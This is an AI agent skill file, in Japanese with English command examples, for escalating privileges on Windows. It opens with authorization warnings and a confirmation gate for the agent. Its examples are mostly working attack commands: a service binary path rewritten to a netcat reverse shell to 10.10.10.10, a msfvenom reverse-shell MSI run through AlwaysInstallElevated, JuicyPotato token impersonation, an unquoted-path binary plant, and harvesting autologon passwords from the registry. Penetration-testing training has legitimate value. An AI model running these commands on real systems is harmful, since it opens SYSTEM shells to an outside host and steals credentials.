windows-privilege-escalation

⚠️ 許可された使用のみ このスキルは、教育目的または許可されたセキュリティ評価のみを目的としています。 このツールを使用する前に、システム所有者から明示的な書面による許可を得る必要があります。 このツールの悪用は違法であり、固く禁止されています。

必須の確認ゲート ターゲットに対して調査、悪用、変更、永続化、データ抽出、または資格情報へのアクセスを試みるコマンドを実行する前に:

1. ユーザーに正確なターゲット URL、IP、アカウント、またはリソースを述べてもらいます。
2. ユーザーに書面による許可と許可されたスコープを確認してもらいます。
3. 正確なコマンドを提示し、その予想される効果を説明します。
4. 現在の会話で明示的な確認を待ちます。

その確認がない場合は、読み取り専用のままにし、防御的なガイダンスのみを提供してください。サンドボックス、使い捨ての VM、または管理されたラボを優先してください。

許可された使用のみ: このスキルは、許可されたセキュリティ評価、防御的検証、または管理された教育環境でのみ使用してください。

Windows 特権昇格

詳細ガイド

このスキルを実行する前に、詳細ガイドをお読みください。完全な手順と参照資料が保持されています。その安全性、前提条件、および検証要件を必須として扱ってください。集中的な作業では関連するセクションを読み込み、エンドツーエンドの作業ではガイドを完全にお読みください。

制約と制限

運用上の境界

• カーネルエクスプロイトはシステムの不安定化を引き起こす可能性があります
• 一部のエクスプロイトは特定の Windows バージョンを必要とします
• AV/EDR は一般的なツールを検出してブロックする可能性があります
• トークン偽装にはサービスアカウントのコンテキストが必要です
• 一部の手法には GUI アクセスが必要です

検出に関する考慮事項

• 資格情報のダンプはセキュリティアラートをトリガーします
• サービスの変更はイベントログに記録されます
• PowerShell の実行が監視される可能性があります
• 既知のエクスプロイトシグネチャが AV によって検出されます

法的要件

• 書面による許可があるシステムのみをテストしてください
• すべての昇格の試行を文書化してください
• 本番システムの中断を避けてください
• すべての調査結果を適切なチャネルを通じて報告してください

例

例 1: サービスバイナリパスの悪用

# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS

# Check current config
sc.exe qc MyService

# Stop service and change binary path
sc.exe stop MyService
sc.exe config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc.exe start MyService

# Catch shell as SYSTEM

例 2: AlwaysInstallElevated の悪用

# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1

# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi

# Catch SYSTEM shell

例 3: JuicyPotato トークン偽装

# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled

# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# Catch SYSTEM shell

例 4: 引用符なしのサービスパス

# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe

# Check the ACTUAL executable candidate parent; write access to the final app folder
# does not imply write access to C:\Program Files. Confirm service identity/restart rights too.
icacls "C:\Program Files"
# Result: Users:(W)

# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

# Restart service
sc.exe stop "Vuln App"
sc.exe start "Vuln App"

例 5: レジストリからの資格情報の収集

# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123

# Credential use requires its own confirmed scope; prefer interactive password entry.
runas /user:Administrator cmd.exe
# Never place a discovered password in argv, transcripts or the report.

使用する場合

このスキルは、概要に記載されているワークフローまたはアクションを実行する場合に適用されます。